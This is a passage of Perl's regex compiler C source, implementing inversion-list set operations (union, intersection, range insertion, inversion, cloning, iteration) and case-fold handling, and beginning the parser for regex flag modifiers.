copy_count = len_a - i_a; if (copy_count > 0) { /* The non-exhausted input is 'a' */ Copy(array_a + i_a, array_u + i_u, copy_count, UV); } else { /* The non-exhausted input is b */ copy_count = len_b - i_b; Copy(array_b + i_b, array_u + i_u, copy_count, UV); } len_u = i_u + copy_count; } /* Set the result to the final length, which can change the pointer to * array_u, so re-find it. (Note that it is unlikely that this will * change, as we are shrinking the space, not enlarging it) */ if (len_u != _invlist_len(u)) { invlist_set_len(u, len_u, *get_invlist_offset_addr(u)); invlist_trim(u); array_u = invlist_array(u); } if (*output == NULL) { /* Simply return the new inversion list */ *output = u; } else { /* Otherwise, overwrite the inversion list that was in '*output'. We * could instead free '*output', and then set it to 'u', but experience * has shown [perl #127392] that if the input is a mortal, we can get a * huge build-up of these during regex compilation before they get * freed. */ invlist_replace_list_destroys_src(*output, u); SvREFCNT_dec_NN(u); } return; } void Perl__invlist_intersection_maybe_complement_2nd(pTHX_ SV* const a, SV* const b, const bool complement_b, SV** i) { /* Take the intersection of two inversion lists and point '*i' to it. On * input, '*i' MUST POINT TO NULL OR TO AN SV* INVERSION LIST (possibly * even 'a' or 'b'). If to an inversion list, the contents of the original * list will be replaced by the intersection. The first list, 'a', may be * NULL, in which case '*i' will be an empty list. If 'complement_b' is * TRUE, the result will be the intersection of 'a' and the complement (or * inversion) of 'b' instead of 'b' directly. * * The basis for this comes from "Unicode Demystified" Chapter 13 by * Richard Gillam, published by Addison-Wesley, and explained at some * length there. The preface says to incorporate its examples into your * code at your own risk. In fact, it had bugs * * The algorithm is like a merge sort, and is essentially the same as the * union above */ const UV* array_a; /* a's array */ const UV* array_b; UV len_a; /* length of a's array */ UV len_b; SV* r; /* the resulting intersection */ UV* array_r; UV len_r = 0; UV i_a = 0; /* current index into a's array */ UV i_b = 0; UV i_r = 0; /* running count of how many of the two inputs are postitioned at ranges * that are in their sets. As explained in the algorithm source book, * items are stopped accumulating and are output when the count changes * to/from 2. The count is incremented when we start a range that's in an * input's set, and decremented when we start a range that's not in a set. * Only when it is 2 are we in the intersection. */ UV count = 0; PERL_ARGS_ASSERT__INVLIST_INTERSECTION_MAYBE_COMPLEMENT_2ND; assert(a != b); assert(*i == NULL || is_invlist(*i)); /* Special case if either one is empty */ len_a = (a == NULL) ? 0 : _invlist_len(a); if ((len_a == 0) || ((len_b = _invlist_len(b)) == 0)) { if (len_a != 0 && complement_b) { /* Here, 'a' is not empty, therefore from the enclosing 'if', 'b' * must be empty. Here, also we are using 'b's complement, which * hence must be every possible code point. Thus the intersection * is simply 'a'. */ if (*i == a) { /* No-op */ return; } if (*i == NULL) { *i = invlist_clone(a, NULL); return; } r = invlist_clone(a, NULL); invlist_replace_list_destroys_src(*i, r); SvREFCNT_dec_NN(r); return; } /* Here, 'a' or 'b' is empty and not using the complement of 'b'. The * intersection must be empty */ if (*i == NULL) { *i = _new_invlist(0); return; } invlist_clear(*i); return; } /* Here both lists exist and are non-empty */ array_a = invlist_array(a); array_b = invlist_array(b); /* If are to take the intersection of 'a' with the complement of b, set it * up so are looking at b's complement. */ if (complement_b) { /* To complement, we invert: if the first element is 0, remove it. To * do this, we just pretend the array starts one later */ if (array_b[0] == 0) { array_b++; len_b--; } else { /* But if the first element is not zero, we pretend the list starts * at the 0 that is always stored immediately before the array. */ array_b--; len_b++; } } /* Size the intersection for the worst case: that the intersection ends up * fragmenting everything to be completely disjoint */ r= _new_invlist(len_a + len_b); /* Will contain U+0000 iff both components do */ array_r = _invlist_array_init(r, len_a > 0 && array_a[0] == 0 && len_b > 0 && array_b[0] == 0); /* Go through each list item by item, stopping when have exhausted one of * them */ while (i_a < len_a && i_b < len_b) { UV cp; /* The element to potentially add to the intersection's array */ bool cp_in_set; /* Is it in the input list's set or not */ /* We need to take one or the other of the two inputs for the * intersection. Since we are merging two sorted lists, we take the * smaller of the next items. In case of a tie, we take first the one * that is not in its set (a difference from the union algorithm). If * we first took the one in its set, it would increment the count, * possibly to 2 which would cause it to be output as starting a range * in the intersection, and the next time through we would take that * same number, and output it again as ending the set. By doing the * opposite of this, there is no possibility that the count will be * momentarily incremented to 2. (In a tie and both are in the set or * both not in the set, it doesn't matter which we take first.) */ if ( array_a[i_a] < array_b[i_b] || ( array_a[i_a] == array_b[i_b] && ! ELEMENT_RANGE_MATCHES_INVLIST(i_a))) { cp_in_set = ELEMENT_RANGE_MATCHES_INVLIST(i_a); cp = array_a[i_a++]; } else { cp_in_set = ELEMENT_RANGE_MATCHES_INVLIST(i_b); cp= array_b[i_b++]; } /* Here, have chosen which of the two inputs to look at. Only output * if the running count changes to/from 2, which marks the * beginning/end of a range that's in the intersection */ if (cp_in_set) { count++; if (count == 2) { array_r[i_r++] = cp; } } else { if (count == 2) { array_r[i_r++] = cp; } count--; } } /* The loop above increments the index into exactly one of the input lists * each iteration, and ends when either index gets to its list end. That * means the other index is lower than its end, and so something is * remaining in that one. We increment 'count', as explained below, if the * exhausted list was in its set. (i_a and i_b each currently index the * element beyond the one we care about.) */ if ( (i_a == len_a && PREV_RANGE_MATCHES_INVLIST(i_a)) || (i_b == len_b && PREV_RANGE_MATCHES_INVLIST(i_b))) { count++; } /* Above we incremented 'count' if the exhausted list was in its set. This * has made it so that 'count' being below 2 means there is nothing left to * output; otheriwse what's left to add to the intersection is precisely * that which is left in the non-exhausted input list. * * To see why, note first that the exhausted input obviously has nothing * left to affect the intersection. If it was in its set at its end, that * means the set extends from here to the platform's infinity, and hence * anything in the non-exhausted's list will be in the intersection, and * anything not in it won't be. Hence, the rest of the intersection is * precisely what's in the non-exhausted list The exhausted set also * contributed 1 to 'count', meaning 'count' was at least 1. Incrementing * it means 'count' is now at least 2. This is consistent with the * incremented 'count' being >= 2 means to add the non-exhausted list to * the intersection. * * But if the exhausted input wasn't in its set, it contributed 0 to * 'count', and the intersection can't include anything further; the * non-exhausted set is irrelevant. 'count' was at most 1, and doesn't get * incremented. This is consistent with 'count' being < 2 meaning nothing * further to add to the intersection. */ if (count < 2) { /* Nothing left to put in the intersection. */ len_r = i_r; } else { /* copy the non-exhausted list, unchanged. */ IV copy_count = len_a - i_a; if (copy_count > 0) { /* a is the one with stuff left */ Copy(array_a + i_a, array_r + i_r, copy_count, UV); } else { /* b is the one with stuff left */ copy_count = len_b - i_b; Copy(array_b + i_b, array_r + i_r, copy_count, UV); } len_r = i_r + copy_count; } /* Set the result to the final length, which can change the pointer to * array_r, so re-find it. (Note that it is unlikely that this will * change, as we are shrinking the space, not enlarging it) */ if (len_r != _invlist_len(r)) { invlist_set_len(r, len_r, *get_invlist_offset_addr(r)); invlist_trim(r); array_r = invlist_array(r); } if (*i == NULL) { /* Simply return the calculated intersection */ *i = r; } else { /* Otherwise, replace the existing inversion list in '*i'. We could instead free '*i', and then set it to 'r', but experience has shown [perl #127392] that if the input is a mortal, we can get a huge build-up of these during regex compilation before they get freed. */ if (len_r) { invlist_replace_list_destroys_src(*i, r); } else { invlist_clear(*i); } SvREFCNT_dec_NN(r); } return; } SV* Perl__add_range_to_invlist(pTHX_ SV* invlist, UV start, UV end) { /* Add the range from 'start' to 'end' inclusive to the inversion list's * set. A pointer to the inversion list is returned. This may actually be * a new list, in which case the passed in one has been destroyed. The * passed-in inversion list can be NULL, in which case a new one is created * with just the one range in it. The new list is not necessarily * NUL-terminated. Space is not freed if the inversion list shrinks as a * result of this function. The gain would not be large, and in many * cases, this is called multiple times on a single inversion list, so * anything freed may almost immediately be needed again. * * This used to mostly call the 'union' routine, but that is much more * heavyweight than really needed for a single range addition */ UV* array; /* The array implementing the inversion list */ UV len; /* How many elements in 'array' */ SSize_t i_s; /* index into the invlist array where 'start' should go */ SSize_t i_e = 0; /* And the index where 'end' should go */ UV cur_highest; /* The highest code point in the inversion list upon entry to this function */ /* This range becomes the whole inversion list if none already existed */ if (invlist == NULL) { invlist = _new_invlist(2); _append_range_to_invlist(invlist, start, end); return invlist; } /* Likewise, if the inversion list is currently empty */ len = _invlist_len(invlist); if (len == 0) { _append_range_to_invlist(invlist, start, end); return invlist; } /* Starting here, we have to know the internals of the list */ array = invlist_array(invlist); /* If the new range ends higher than the current highest ... */ cur_highest = invlist_highest(invlist); if (end > cur_highest) { /* If the whole range is higher, we can just append it */ if (start > cur_highest) { _append_range_to_invlist(invlist, start, end); return invlist; } /* Otherwise, add the portion that is higher ... */ _append_range_to_invlist(invlist, cur_highest + 1, end); /* ... and continue on below to handle the rest. As a result of the * above append, we know that the index of the end of the range is the * final even numbered one of the array. Recall that the final element * always starts a range that extends to infinity. If that range is in * the set (meaning the set goes from here to infinity), it will be an * even index, but if it isn't in the set, it's odd, and the final * range in the set is one less, which is even. */ if (end == UV_MAX) { i_e = len; } else { i_e = len - 2; } } /* We have dealt with appending, now see about prepending. If the new * range starts lower than the current lowest ... */ if (start < array[0]) { /* Adding something which has 0 in it is somewhat tricky, and uncommon. * Let the union code handle it, rather than having to know the * trickiness in two code places. */ if (UNLIKELY(start == 0)) { SV* range_invlist; range_invlist = _new_invlist(2); _append_range_to_invlist(range_invlist, start, end); _invlist_union(invlist, range_invlist, &invlist); SvREFCNT_dec_NN(range_invlist); return invlist; } /* If the whole new range comes before the first entry, and doesn't * extend it, we have to insert it as an additional range */ if (end < array[0] - 1) { i_s = i_e = -1; goto splice_in_new_range; } /* Here the new range adjoins the existing first range, extending it * downwards. */ array[0] = start; /* And continue on below to handle the rest. We know that the index of * the beginning of the range is the first one of the array */ i_s = 0; } else { /* Not prepending any part of the new range to the existing list. * Find where in the list it should go. This finds i_s, such that: * invlist[i_s] <= start < array[i_s+1] */ i_s = _invlist_search(invlist, start); } /* At this point, any extending before the beginning of the inversion list * and/or after the end has been done. This has made it so that, in the * code below, each endpoint of the new range is either in a range that is * in the set, or is in a gap between two ranges that are. This means we * don't have to worry about exceeding the array bounds. * * Find where in the list the new range ends (but we can skip this if we * have already determined what it is, or if it will be the same as i_s, * which we already have computed) */ if (i_e == 0) { i_e = (start == end) ? i_s : _invlist_search(invlist, end); } /* Here generally invlist[i_e] <= end < array[i_e+1]. But if invlist[i_e] * is a range that goes to infinity there is no element at invlist[i_e+1], * so only the first relation holds. */ if ( ! ELEMENT_RANGE_MATCHES_INVLIST(i_s)) { /* Here, the ranges on either side of the beginning of the new range * are in the set, and this range starts in the gap between them. * * The new range extends the range above it downwards if the new range * ends at or above that range's start */ const bool extends_the_range_above = ( end == UV_MAX || end + 1 >= array[i_s+1]); /* The new range extends the range below it upwards if it begins just * after where that range ends */ if (start == array[i_s]) { /* If the new range fills the entire gap between the other ranges, * they will get merged together. Other ranges may also get * merged, depending on how many of them the new range spans. In * the general case, we do the merge later, just once, after we * figure out how many to merge. But in the case where the new * range exactly spans just this one gap (possibly extending into * the one above), we do the merge here, and an early exit. This * is done here to avoid having to special case later. */ if (i_e - i_s <= 1) { /* If i_e - i_s == 1, it means that the new range terminates * within the range above, and hence 'extends_the_range_above' * must be true. (If the range above it extends to infinity, * 'i_s+2' will be above the array's limit, but 'len-i_s-2' * will be 0, so no harm done.) */ if (extends_the_range_above) { Move(array + i_s + 2, array + i_s, len - i_s - 2, UV); invlist_set_len(invlist, len - 2, *(get_invlist_offset_addr(invlist))); return invlist; } /* Here, i_e must == i_s. We keep them in sync, as they apply * to the same range, and below we are about to decrement i_s * */ i_e--; } /* Here, the new range is adjacent to the one below. (It may also * span beyond the range above, but that will get resolved later.) * Extend the range below to include this one. */ array[i_s] = (end == UV_MAX) ? UV_MAX : end + 1; i_s--; start = array[i_s]; } else if (extends_the_range_above) { /* Here the new range only extends the range above it, but not the * one below. It merges with the one above. Again, we keep i_e * and i_s in sync if they point to the same range */ if (i_e == i_s) { i_e++; } i_s++; array[i_s] = start; } } /* Here, we've dealt with the new range start extending any adjoining * existing ranges. * * If the new range extends to infinity, it is now the final one, * regardless of what was there before */ if (UNLIKELY(end == UV_MAX)) { invlist_set_len(invlist, i_s + 1, *(get_invlist_offset_addr(invlist))); return invlist; } /* If i_e started as == i_s, it has also been dealt with, * and been updated to the new i_s, which will fail the following if */ if (! ELEMENT_RANGE_MATCHES_INVLIST(i_e)) { /* Here, the ranges on either side of the end of the new range are in * the set, and this range ends in the gap between them. * * If this range is adjacent to (hence extends) the range above it, it * becomes part of that range; likewise if it extends the range below, * it becomes part of that range */ if (end + 1 == array[i_e+1]) { i_e++; array[i_e] = start; } else if (start <= array[i_e]) { array[i_e] = end + 1; i_e--; } } if (i_s == i_e) { /* If the range fits entirely in an existing range (as possibly already * extended above), it doesn't add anything new */ if (ELEMENT_RANGE_MATCHES_INVLIST(i_s)) { return invlist; } /* Here, no part of the range is in the list. Must add it. It will * occupy 2 more slots */ splice_in_new_range: invlist_extend(invlist, len + 2); array = invlist_array(invlist); /* Move the rest of the array down two slots. Don't include any * trailing NUL */ Move(array + i_e + 1, array + i_e + 3, len - i_e - 1, UV); /* Do the actual splice */ array[i_e+1] = start; array[i_e+2] = end + 1; invlist_set_len(invlist, len + 2, *(get_invlist_offset_addr(invlist))); return invlist; } /* Here the new range crossed the boundaries of a pre-existing range. The * code above has adjusted things so that both ends are in ranges that are * in the set. This means everything in between must also be in the set. * Just squash things together */ Move(array + i_e + 1, array + i_s + 1, len - i_e - 1, UV); invlist_set_len(invlist, len - i_e + i_s, *(get_invlist_offset_addr(invlist))); return invlist; } SV* Perl__setup_canned_invlist(pTHX_ const STRLEN size, const UV element0, UV** other_elements_ptr) { /* Create and return an inversion list whose contents are to be populated * by the caller. The caller gives the number of elements (in 'size') and * the very first element ('element0'). This function will set * '*other_elements_ptr' to an array of UVs, where the remaining elements * are to be placed. * * Obviously there is some trust involved that the caller will properly * fill in the other elements of the array. * * (The first element needs to be passed in, as the underlying code does * things differently depending on whether it is zero or non-zero) */ SV* invlist = _new_invlist(size); bool offset; PERL_ARGS_ASSERT__SETUP_CANNED_INVLIST; invlist = add_cp_to_invlist(invlist, element0); offset = *get_invlist_offset_addr(invlist); invlist_set_len(invlist, size, offset); *other_elements_ptr = invlist_array(invlist) + 1; return invlist; } #endif PERL_STATIC_INLINE SV* S_add_cp_to_invlist(pTHX_ SV* invlist, const UV cp) { return _add_range_to_invlist(invlist, cp, cp); } #ifndef PERL_IN_XSUB_RE void Perl__invlist_invert(pTHX_ SV* const invlist) { /* Complement the input inversion list. This adds a 0 if the list didn't * have a zero; removes it otherwise. As described above, the data * structure is set up so that this is very efficient */ PERL_ARGS_ASSERT__INVLIST_INVERT; assert(! invlist_is_iterating(invlist)); /* The inverse of matching nothing is matching everything */ if (_invlist_len(invlist) == 0) { _append_range_to_invlist(invlist, 0, UV_MAX); return; } *get_invlist_offset_addr(invlist) = ! *get_invlist_offset_addr(invlist); } SV* Perl_invlist_clone(pTHX_ SV* const invlist, SV* new_invlist) { /* Return a new inversion list that is a copy of the input one, which is * unchanged. The new list will not be mortal even if the old one was. */ const STRLEN nominal_length = _invlist_len(invlist); const STRLEN physical_length = SvCUR(invlist); const bool offset = *(get_invlist_offset_addr(invlist)); PERL_ARGS_ASSERT_INVLIST_CLONE; if (new_invlist == NULL) { new_invlist = _new_invlist(nominal_length); } else { sv_upgrade(new_invlist, SVt_INVLIST); initialize_invlist_guts(new_invlist, nominal_length); } *(get_invlist_offset_addr(new_invlist)) = offset; invlist_set_len(new_invlist, nominal_length, offset); Copy(SvPVX(invlist), SvPVX(new_invlist), physical_length, char); return new_invlist; } #endif PERL_STATIC_INLINE STRLEN* S_get_invlist_iter_addr(SV* invlist) { /* Return the address of the UV that contains the current iteration * position */ PERL_ARGS_ASSERT_GET_INVLIST_ITER_ADDR; assert(is_invlist(invlist)); return &(((XINVLIST*) SvANY(invlist))->iterator); } PERL_STATIC_INLINE void S_invlist_iterinit(SV* invlist) /* Initialize iterator for invlist */ { PERL_ARGS_ASSERT_INVLIST_ITERINIT; *get_invlist_iter_addr(invlist) = 0; } PERL_STATIC_INLINE void S_invlist_iterfinish(SV* invlist) { /* Terminate iterator for invlist. This is to catch development errors. * Any iteration that is interrupted before completed should call this * function. Functions that add code points anywhere else but to the end * of an inversion list assert that they are not in the middle of an * iteration. If they were, the addition would make the iteration * problematical: if the iteration hadn't reached the place where things * were being added, it would be ok */ PERL_ARGS_ASSERT_INVLIST_ITERFINISH; *get_invlist_iter_addr(invlist) = (STRLEN) UV_MAX; } STATIC bool S_invlist_iternext(SV* invlist, UV* start, UV* end) { /* An C<invlist_iterinit> call on <invlist> must be used to set this up. * This call sets in <*start> and <*end>, the next range in <invlist>. * Returns <TRUE> if successful and the next call will return the next * range; <FALSE> if was already at the end of the list. If the latter, * <*start> and <*end> are unchanged, and the next call to this function * will start over at the beginning of the list */ STRLEN* pos = get_invlist_iter_addr(invlist); UV len = _invlist_len(invlist); UV *array; PERL_ARGS_ASSERT_INVLIST_ITERNEXT; if (*pos >= len) { *pos = (STRLEN) UV_MAX; /* Force iterinit() to be required next time */ return FALSE; } array = invlist_array(invlist); *start = array[(*pos)++]; if (*pos >= len) { *end = UV_MAX; } else { *end = array[(*pos)++] - 1; } return TRUE; } PERL_STATIC_INLINE UV S_invlist_highest(SV* const invlist) { /* Returns the highest code point that matches an inversion list. This API * has an ambiguity, as it returns 0 under either the highest is actually * 0, or if the list is empty. If this distinction matters to you, check * for emptiness before calling this function */ UV len = _invlist_len(invlist); UV *array; PERL_ARGS_ASSERT_INVLIST_HIGHEST; if (len == 0) { return 0; } array = invlist_array(invlist); /* The last element in the array in the inversion list always starts a * range that goes to infinity. That range may be for code points that are * matched in the inversion list, or it may be for ones that aren't * matched. In the latter case, the highest code point in the set is one * less than the beginning of this range; otherwise it is the final element * of this range: infinity */ return (ELEMENT_RANGE_MATCHES_INVLIST(len - 1)) ? UV_MAX : array[len - 1] - 1; } STATIC SV * S_invlist_contents(pTHX_ SV* const invlist, const bool traditional_style) { /* Get the contents of an inversion list into a string SV so that they can * be printed out. If 'traditional_style' is TRUE, it uses the format * traditionally done for debug tracing; otherwise it uses a format * suitable for just copying to the output, with blanks between ranges and * a dash between range components */ UV start, end; SV* output; const char intra_range_delimiter = (traditional_style ? '\t' : '-'); const char inter_range_delimiter = (traditional_style ? '\n' : ' '); if (traditional_style) { output = newSVpvs("\n"); } else { output = newSVpvs(""); } PERL_ARGS_ASSERT_INVLIST_CONTENTS; assert(! invlist_is_iterating(invlist)); invlist_iterinit(invlist); while (invlist_iternext(invlist, &start, &end)) { if (end == UV_MAX) { Perl_sv_catpvf(aTHX_ output, "%04" UVXf "%cINFTY%c", start, intra_range_delimiter, inter_range_delimiter); } else if (end != start) { Perl_sv_catpvf(aTHX_ output, "%04" UVXf "%c%04" UVXf "%c", start, intra_range_delimiter, end, inter_range_delimiter); } else { Perl_sv_catpvf(aTHX_ output, "%04" UVXf "%c", start, inter_range_delimiter); } } if (SvCUR(output) && ! traditional_style) {/* Get rid of trailing blank */ SvCUR_set(output, SvCUR(output) - 1); } return output; } #ifndef PERL_IN_XSUB_RE void Perl__invlist_dump(pTHX_ PerlIO *file, I32 level, const char * const indent, SV* const invlist) { /* Designed to be called only by do_sv_dump(). Dumps out the ranges of the * inversion list 'invlist' to 'file' at 'level' Each line is prefixed by * the string 'indent'. The output looks like this: [0] 0x000A .. 0x000D [2] 0x0085 [4] 0x2028 .. 0x2029 [6] 0x3104 .. INFTY * This means that the first range of code points matched by the list are * 0xA through 0xD; the second range contains only the single code point * 0x85, etc. An inversion list is an array of UVs. Two array elements * are used to define each range (except if the final range extends to * infinity, only a single element is needed). The array index of the * first element for the corresponding range is given in brackets. */ UV start, end; STRLEN count = 0; PERL_ARGS_ASSERT__INVLIST_DUMP; if (invlist_is_iterating(invlist)) { Perl_dump_indent(aTHX_ level, file, "%sCan't dump inversion list because is in middle of iterating\n", indent); return; } invlist_iterinit(invlist); while (invlist_iternext(invlist, &start, &end)) { if (end == UV_MAX) { Perl_dump_indent(aTHX_ level, file, "%s[%" UVuf "] 0x%04" UVXf " .. INFTY\n", indent, (UV)count, start); } else if (end != start) { Perl_dump_indent(aTHX_ level, file, "%s[%" UVuf "] 0x%04" UVXf " .. 0x%04" UVXf "\n", indent, (UV)count, start, end); } else { Perl_dump_indent(aTHX_ level, file, "%s[%" UVuf "] 0x%04" UVXf "\n", indent, (UV)count, start); } count += 2; } } #endif #if defined(PERL_ARGS_ASSERT__INVLISTEQ) && !defined(PERL_IN_XSUB_RE) bool Perl__invlistEQ(pTHX_ SV* const a, SV* const b, const bool complement_b) { /* Return a boolean as to if the two passed in inversion lists are * identical. The final argument, if TRUE, says to take the complement of * the second inversion list before doing the comparison */ const UV len_a = _invlist_len(a); UV len_b = _invlist_len(b); const UV* array_a = NULL; const UV* array_b = NULL; PERL_ARGS_ASSERT__INVLISTEQ; /* This code avoids accessing the arrays unless it knows the length is * non-zero */ if (len_a == 0) { if (len_b == 0) { return ! complement_b; } } else { array_a = invlist_array(a); } if (len_b != 0) { array_b = invlist_array(b); } /* If are to compare 'a' with the complement of b, set it * up so are looking at b's complement. */ if (complement_b) { /* The complement of nothing is everything, so <a> would have to have * just one element, starting at zero (ending at infinity) */ if (len_b == 0) { return (len_a == 1 && array_a[0] == 0); } if (array_b[0] == 0) { /* Otherwise, to complement, we invert. Here, the first element is * 0, just remove it. To do this, we just pretend the array starts * one later */ array_b++; len_b--; } else { /* But if the first element is not zero, we pretend the list starts * at the 0 that is always stored immediately before the array. */ array_b--; len_b++; } } return len_a == len_b && memEQ(array_a, array_b, len_a * sizeof(array_a[0])); } #endif /* * As best we can, determine the characters that can match the start of * the given EXACTF-ish node. This is for use in creating ssc nodes, so there * can be false positive matches * * Returns the invlist as a new SV*; it is the caller's responsibility to * call SvREFCNT_dec() when done with it. */ STATIC SV* S__make_exactf_invlist(pTHX_ RExC_state_t *pRExC_state, regnode *node) { dVAR; const U8 * s = (U8*)STRING(node); SSize_t bytelen = STR_LEN(node); UV uc; /* Start out big enough for 2 separate code points */ SV* invlist = _new_invlist(4); PERL_ARGS_ASSERT__MAKE_EXACTF_INVLIST; if (! UTF) { uc = *s; /* We punt and assume can match anything if the node begins * with a multi-character fold. Things are complicated. For * example, /ffi/i could match any of: * "\N{LATIN SMALL LIGATURE FFI}" * "\N{LATIN SMALL LIGATURE FF}I" * "F\N{LATIN SMALL LIGATURE FI}" * plus several other things; and making sure we have all the * possibilities is hard. */ if (is_MULTI_CHAR_FOLD_latin1_safe(s, s + bytelen)) { invlist = _add_range_to_invlist(invlist, 0, UV_MAX); } else { /* Any Latin1 range character can potentially match any * other depending on the locale, and in Turkic locales, U+130 and * U+131 */ if (OP(node) == EXACTFL) { _invlist_union(invlist, PL_Latin1, &invlist); invlist = add_cp_to_invlist(invlist, LATIN_SMALL_LETTER_DOTLESS_I); invlist = add_cp_to_invlist(invlist, LATIN_CAPITAL_LETTER_I_WITH_DOT_ABOVE); } else { /* But otherwise, it matches at least itself. We can * quickly tell if it has a distinct fold, and if so, * it matches that as well */ invlist = add_cp_to_invlist(invlist, uc); if (IS_IN_SOME_FOLD_L1(uc)) invlist = add_cp_to_invlist(invlist, PL_fold_latin1[uc]); } /* Some characters match above-Latin1 ones under /i. This * is true of EXACTFL ones when the locale is UTF-8 */ if (HAS_NONLATIN1_SIMPLE_FOLD_CLOSURE(uc) && (! isASCII(uc) || (OP(node) != EXACTFAA && OP(node) != EXACTFAA_NO_TRIE))) { add_above_Latin1_folds(pRExC_state, (U8) uc, &invlist); } } } else { /* Pattern is UTF-8 */ U8 folded[UTF8_MAX_FOLD_CHAR_EXPAND * UTF8_MAXBYTES_CASE + 1] = { '\0' }; const U8* e = s + bytelen; IV fc; fc = uc = utf8_to_uvchr_buf(s, s + bytelen, NULL); /* The only code points that aren't folded in a UTF EXACTFish * node are are the problematic ones in EXACTFL nodes */ if (OP(node) == EXACTFL && is_PROBLEMATIC_LOCALE_FOLDEDS_START_cp(uc)) { /* We need to check for the possibility that this EXACTFL * node begins with a multi-char fold. Therefore we fold * the first few characters of it so that we can make that * check */ U8 *d = folded; int i; fc = -1; for (i = 0; i < UTF8_MAX_FOLD_CHAR_EXPAND && s < e; i++) { if (isASCII(*s)) { *(d++) = (U8) toFOLD(*s); if (fc < 0) { /* Save the first fold */ fc = *(d-1); } s++; } else { STRLEN len; UV fold = toFOLD_utf8_safe(s, e, d, &len); if (fc < 0) { /* Save the first fold */ fc = fold; } d += len; s += UTF8SKIP(s); } } /* And set up so the code below that looks in this folded * buffer instead of the node's string */ e = d; s = folded; } /* When we reach here 's' points to the fold of the first * character(s) of the node; and 'e' points to far enough along * the folded string to be just past any possible multi-char * fold. * * Unlike the non-UTF-8 case, the macro for determining if a * string is a multi-char fold requires all the characters to * already be folded. This is because of all the complications * if not. Note that they are folded anyway, except in EXACTFL * nodes. Like the non-UTF case above, we punt if the node * begins with a multi-char fold */ if (is_MULTI_CHAR_FOLD_utf8_safe(s, e)) { invlist = _add_range_to_invlist(invlist, 0, UV_MAX); } else { /* Single char fold */ unsigned int k; unsigned int first_fold; const unsigned int * remaining_folds; Size_t folds_count; /* It matches itself */ invlist = add_cp_to_invlist(invlist, fc); /* ... plus all the things that fold to it, which are found in * PL_utf8_foldclosures */ folds_count = _inverse_folds(fc, &first_fold, &remaining_folds); for (k = 0; k < folds_count; k++) { UV c = (k == 0) ? first_fold : remaining_folds[k-1]; /* /aa doesn't allow folds between ASCII and non- */ if ( (OP(node) == EXACTFAA || OP(node) == EXACTFAA_NO_TRIE) && isASCII(c) != isASCII(fc)) { continue; } invlist = add_cp_to_invlist(invlist, c); } if (OP(node) == EXACTFL) { /* If either [iI] are present in an EXACTFL node the above code * should have added its normal case pair, but under a Turkish * locale they could match instead the case pairs from it. Add * those as potential matches as well */ if (isALPHA_FOLD_EQ(fc, 'I')) { invlist = add_cp_to_invlist(invlist, LATIN_SMALL_LETTER_DOTLESS_I); invlist = add_cp_to_invlist(invlist, LATIN_CAPITAL_LETTER_I_WITH_DOT_ABOVE); } else if (fc == LATIN_SMALL_LETTER_DOTLESS_I) { invlist = add_cp_to_invlist(invlist, 'I'); } else if (fc == LATIN_CAPITAL_LETTER_I_WITH_DOT_ABOVE) { invlist = add_cp_to_invlist(invlist, 'i'); } } } } return invlist; } #undef HEADER_LENGTH #undef TO_INTERNAL_SIZE #undef FROM_INTERNAL_SIZE #undef INVLIST_VERSION_ID /* End of inversion list object */ STATIC void S_parse_lparen_question_flags(pTHX_ RExC_state_t *pRExC_state) { /* This parses the flags that are in either the '(?foo)' or '(?foo:bar)' * constructs, and updates RExC_flags with them. On input, RExC_parse * should point to the first flag; it is updated on output to point to the * final ')' or ':'. There needs to be at least one flag, or this will * abort */ /* for (?g), (?gc), and (?o) warnings; warning about (?c) will warn about (?g) -- japhy */ #define WASTED_O 0x01 #define WASTED_G 0x02 #define WASTED_C 0x04 #define WASTED_GC (WASTED_G|WASTED_C) I32 wastedflags = 0x00; U32 posflags = 0, negflags = 0; U32 *flagsp = &posflags; char has_charset_modifier = '\0'; regex_charset cs; bool has_use_defaults = FALSE; const char* const seqstart = RExC_parse - 1; /* Point to the '?' */ int x_mod_count = 0; PERL_ARGS_ASSERT_PARSE_LPAREN_QUESTION_FLAGS; /* '^' as an initial flag sets certain defaults */ if (UCHARAT(RExC_parse) == '^') { RExC_parse++; has_use_defaults = TRUE; STD_PMMOD_FLAGS_CLEAR(&RExC_flags); cs = (RExC_uni_semantics) ? REGEX_UNICODE_CHARSET : REGEX_DEPENDS_CHARSET; set_regex_charset(&RExC_flags, cs); } else { cs = get_regex_charset(RExC_flags); if ( cs == REGEX_DEPENDS_CHARSET && RExC_uni_semantics) { cs = REGEX_UNICODE_CHARSET; } } while (RExC_parse < RExC_end) { /* && strchr("iogcmsx", *RExC_parse) */ /* (?g), (?gc) and (?o) are useless here and must be globally applied -- japhy */ switch (*RExC_parse) { /* Code for the imsxn flags */ CASE_STD_PMMOD_FLAGS_PARSE_SET(flagsp, x_mod_count); case LOCALE_PAT_MOD: if (has_charset_modifier) { goto excess_modifier; } else if (flagsp == &negflags) { goto neg_modifier; } cs = REGEX_LOCALE_CHARSET; has_charset_modifier = LOCALE_PAT_MOD; break; case UNICODE_PAT_MOD: if (has_charset_modifier) { goto excess_modifier; } else if (flagsp == &negflags) { goto neg_modifier; } cs = REGEX_UNICODE_CHARSET; has_charset_modifier = UNICODE_PAT_MOD; break; case ASCII_RESTRICT_PAT_MOD: if (flagsp == &negflags) { goto neg_modifier; } if (has_charset_modifier) { if (cs != REGEX_ASCII_RESTRICTED_CHARSET) { goto excess_modifier; } /* Doubled modifier implies more restricted */ cs = REGEX_ASCII_MORE_RESTRICTED_CHARSET; } else { cs = REGEX_ASCII_RESTRICTED_CHARSET; } has_charset_modifier = ASCII_RESTRICT_PAT_MOD; break; case DEPENDS_PAT_MOD: if (has_use_defaults) { goto fail_modifiers; } else if (flagsp == &negflags) { goto neg_modifier; } else if (has_charset_modifier) { goto excess_modifier; } /* The dual charset means unicode semantics if the * pattern (or target, not known until runtime) are * utf8, or something in the pattern indicates unicode * semantics */ cs = (RExC_uni_semantics) ? REGEX_UNICODE_CHARSET : REGEX_DEPENDS_CHARSET; has_charset_modifier = DEPENDS_PAT_MOD; break; excess_modifier: RExC_parse++; if (has_charset_modifier == ASCII_RESTRICT_PAT_MOD) { vFAIL2("Regexp modifier \"%c\" may appear a maximum of twice", ASCII_RESTRICT_PAT_MOD); } else if (has_charset_modifier == *(RExC_parse - 1)) { vFAIL2("Regexp modifier \"%c\" may not appear twice", *(RExC_parse - 1)); } else { vFAIL3("Regexp modifiers \"%c\" and \"%c\" are mutually exclusive", has_charset_modifier, *(RExC_parse - 1)); } NOT_REACHED; /*NOTREACHED*/ neg_modifier: RExC_parse++; vFAIL2("Regexp modifier \"%c\" may not appear after the \"-\"", *(RExC_parse - 1)); NOT_REACHED; 